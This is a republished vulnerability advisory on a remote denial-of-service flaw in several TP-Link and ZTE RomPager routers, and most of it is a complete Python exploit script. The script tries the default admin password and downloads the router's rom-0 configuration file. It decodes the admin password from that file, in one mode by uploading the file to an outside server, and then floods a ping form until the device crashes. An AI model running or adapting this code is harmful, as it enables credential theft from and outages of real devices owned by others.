Multiple TP-Link routers RomPager Denial of Service Vulnerabilities

Source: Internet
Author: User

Affected Systems:

TP-LINK TD-8817 3.11.2.175 _ TC3086
Description:
--------------------------------------------------------------------------------
Bugtraq id: 68024
 
TP-Link is a well-known network and communication equipment supplier.
 
TP-Link TD-W8901G, TD-W8101G, TD-8840G, TD-8817 firmware version 3.11.2.175 _ TC3086, T14.F7 _ 5.0 Remote Denial of Service Vulnerability, attackers can exploit this vulnerability to cause the affected device to crash.
 
<* Source: Osanda Malith
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

import os import re import sys import time import urllib import base64 import httplib import urllib2 import requests import optparse import telnetlib import subprocess import collections import unicodedata class BitReader:      def __init__(self, bytes):        self._bits = collections.deque()                for byte in bytes:            byte = ord(byte)            for n in xrange(8):                self._bits.append(bool((byte >> (7-n)) & 1))                def getBit(self):        return self._bits.popleft()            def getBits(self, num):        res = 0        for i in xrange(num):            res += self.getBit() << num-1-i        return res            def getByte(self):        return self.getBits(8)            def __len__(self):        return len(self._bits)         class RingList:      def __init__(self, length):        self.__data__ = collections.deque()        self.__full__ = False        self.__max__ = length    def append(self, x):        if self.__full__:            self.__data__.popleft()        self.__data__.append(x)        if self.size() == self.__max__:            self.__full__ = True    def get(self):        return self.__data__    def size(self):        return len(self.__data__)    def maxsize(self):        return self.__max__            def __getitem__(self, n):        if n >= self.size():            return None        return self.__data__[n] def filter_non_printable(str):  return ''.join([c for c in str if ord(c) > 31 or ord(c) == 9])def banner():  return ''' \t\t    _/_/_/                _/_/_/  \t\t  _/    _/    _/_/    _/           \t\t  _/    _/  _/    _/    _/_/      \t\t _/    _/  _/    _/        _/       \t\t_/_/_/      _/_/    _/_/_/                                  '''                           def dos(host, password):  while (1):    url = 'http://' +host+ '/Forms/tools_test_1'    parameters = {    'Test_PVC'      :  'PVC0',     'PingIPAddr'    :  '\101'*2000,    'pingflag'      :  '1',    'trace_open_flag'  :  '0',    'InfoDisplay'    :  '+-+Info+-%0D%0A'    }        params = urllib.urlencode(parameters)         req = urllib2.Request(url, params)     base64string = base64.encodestring('%s:%s' % ('admin', password)).replace('\n', '')    req.add_header("Authorization", "Basic %s" %base64string)    req.add_header("Content-type", "application/x-www-form-urlencoded")    req.add_header("Referer", "http://" +host+ "/maintenance/tools_test.htm")    try:        print '[~] Sending Payload'          response = urllib2.urlopen(req, timeout=1)        sys.exit(0)          except:      flag = checkHost(host)      if flag == 0:        print '[+] The host is still up and running'      else:        print '[~] Success! The host is down'        sys.exit(0)        break def checkHost(host):  if sys.platform == 'win32':    c = "ping -n 2 " + host  else:    c = "ping -c 2 " + host   try:    x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)    time.sleep(1)    return x      except:    pass def checkServer(host):  connexion = httplib.HTTPConnection(host)  connexion.request("GET", "/status.html")  response = connexion.getresponse()  server = response.getheader("server")  connexion.close()  time.sleep(2)  if server == 'RomPager/4.07 UPnP/1.0':    return 0  else:    return 1 def checkPassword(host):  print '[+] Checking for default password'  defaultpass = 'admin'  tn = telnetlib.Telnet(host, 23, 4)  tn.read_until("Password: ")  tn.write(defaultpass + '\n')  time.sleep(2)  banner = tn.read_eager()  banner = regex(len(defaultpass)*r'.'+'\w+' , banner)  tn.write("exit\n")  tn.close()  time.sleep(4)  if banner == 'Copyright':    print '[+] Default password is being used'    dos(host, defaultpass)  else:    print '[!] Default Password is not being used'  while True:    msg = str(raw_input('[?] Decrypt the rom-0 file locally? ')).lower()    try:      if msg[0] == 'y':        password = decodePasswordLocal(host)        print '[*] Router password is: ' +password        dos(host, password)        break                    if msg[0] == 'n':        password = decodePasswordRemote(host)        print '[*] Router password is: ' +password        dos(host, password)        break      else:        print '[!] Enter a valid choice'    except Exception, e:        print e        continue     def decodePasswordRemote(host):  fname = 'rom-0'  if os.path.isfile(fname) == True:    os.remove(fname)  urllib.urlretrieve ("http://"+host+"/rom-0", fname)  # If this URL goes down you might have to find one and change this function.   # You can also use the local decoder. It might have few errors in getting output.  url = 'http://198.61.167.113/zynos/decoded.php'                # Target URL  files = {'uploadedfile': open('rom-0', 'rb') }                # The rom-0 file we wanna upload  data = {'MAX_FILE_SIZE': 1000000, 'submit': 'Upload rom-0'}    # Additional Parameters we need to include  headers = { 'User-agent' : 'Python Demo Agent v1' }            # Any additional Headers you want to send or include   res = requests.post(url, files=files, data=data, headers=headers, allow_redirects=True, timeout=30.0, verify=False )  res1 =res.content  p = re.search('rows=10>(.*)', res1)  if p:    passwd = found = p.group(1)  else:    password = 'NotFound'  return passwd def decodePasswordLocal(host):  # Sometimes this might output a wrong password while finding the exact string.   # print the result as mentioned below and manually find out  fname = 'rom-0'  if os.path.isfile(fname) == True:    os.remove(fname)  urllib.urlretrieve ("http://"+host+"/rom-0", fname)  fpos=8568  fend=8788  fhandle=file('rom-0')  fhandle.seek(fpos)  chunk="*"  amount=221  while fpos < fend:      if fend-fpos < amount:          amount = amount          data = fhandle.read(amount)          fpos += len(data)            reader = BitReader(data)  result = ''        window = RingList(2048)        while True:      bit = reader.getBit()      if not bit:          char = reader.getByte()          result += chr(char)          window.append(char)      else:          bit = reader.getBit()          if bit:              offset = reader.getBits(7)              if offset == 0:                  break          else:              offset = reader.getBits(11)                    lenField = reader.getBits(2)          if lenField < 3:              lenght = lenField + 2          else:              lenField <<= 2              lenField += reader.getBits(2)              if lenField < 15:                  lenght = (lenField & 0x0f) + 5              else:                  lenCounter = 0                  lenField = reader.getBits(4)                  while lenField == 15:                      lenField = reader.getBits(4)                      lenCounter += 1                  lenght = 15*lenCounter + 8 + lenField                    for i in xrange(lenght):              char = window[-offset]              result += chr(char)              window.append(char)   result = filter_non_printable(result).decode('unicode_escape').encode('ascii','ignore')  # In case the password you see is wrong while filtering, manually print it from here and findout.   #print result   if 'TP-LINK' in result:      result = ''.join(result.split()).split('TP-LINK', 1)[0] + 'TP-LINK';      result = result.replace("TP-LINK", "")      result = result[1:]   if 'ZTE' in result:      result = ''.join(result.split()).split('ZTE', 1)[0] + 'ZTE';      result = result.replace("ZTE", "")      result = result[1:]   if 'tc160' in result:      result = ''.join(result.split()).split('tc160', 1)[0] + 'tc160';      result = result.replace("tc160", "")      result = result[1:]  return result   def regex(path, text):  match = re.search(path, text)  if match:    return match.group()  else:    return None def main():  if sys.platform == 'win32':    os.system('cls')  else:    os.system('clear')  try:    print banner()    print ''' |=--------=[ ZTE and TP-Link RomPager Denial of Service Exploit ]=-------=|\n [*] Author: Osanda Malith Jayathissa [*] Follow @OsandaMalith [!] Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only. [!] Author takes no responsibility for any kind of damage you cause.   '''    parser = optparse.OptionParser("usage: %prog -i <IP Address> ")    parser.add_option('-i', dest='host',               type='string',                help='Specify the IP to attack')    (options, args) = parser.parse_args()        if options.host is None:      parser.print_help()      exit(-1)     host = options.host    x = checkHost(host)     if x == 0:      print '[+] The host is up and running'      server = checkServer(host)      if server == 0:        checkPassword(host)      else:        print ('[!] Sorry the router is not running RomPager')    else:      print '[!] The host is not up and running'      sys.exit(0)   except KeyboardInterrupt:    print '[!] Ctrl + C detected\n[!] Exiting'    sys.exit(0)  except EOFError:    print '[!] Ctrl + D detected\n[!] Exiting'    sys.exit(0) if __name__ == "__main__":     main()   #EOF

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
 
TP-LINK
-------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
 
Http://www.tp-link.com/lk/products/details? Model = TD-8817

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.